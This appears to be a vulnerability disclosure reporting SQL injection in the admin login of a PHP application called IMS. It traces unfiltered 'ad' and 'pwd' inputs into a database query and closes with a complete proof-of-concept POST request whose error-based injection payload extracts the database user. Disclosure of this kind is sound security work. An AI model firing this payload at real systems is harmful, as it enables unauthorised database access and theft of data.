IMS has SQL injection vulnerability

[huclilu]

Build environment: Aapche2.4.39; MySQL5.7.26； PHP7.3.4

At admin_ Area/login.php, in the 40-44 lines of code, enter the user name ad and password pwd and submit them to login through the post request_ transfer.php interface

Trace code to login_ Transfer.php, at lines 8-13

The account ad and password pwd inputted by the front end are assigned to the variables $ad and $pwd, which are directly brought into the database for query without filtering, resulting in a SQL injection vulnerability

• We can use sqlmap to validate

• Manual SQL injection proof

Get database version:

Get database user:

POC：

POST /admin_area/login_transfer.php HTTP/1.1
Host: imsvul.test
Content-Length: 169
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://imsvul.test
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://imsvul.test/admin_area/login.php?msg=Login_First
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=i7acqqkl9acdrrrhcbtdtvis5a
Connection: close

ad=123'|(select 1 where 1=1 AND (select 1174 from(select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a))||'&pwd=123456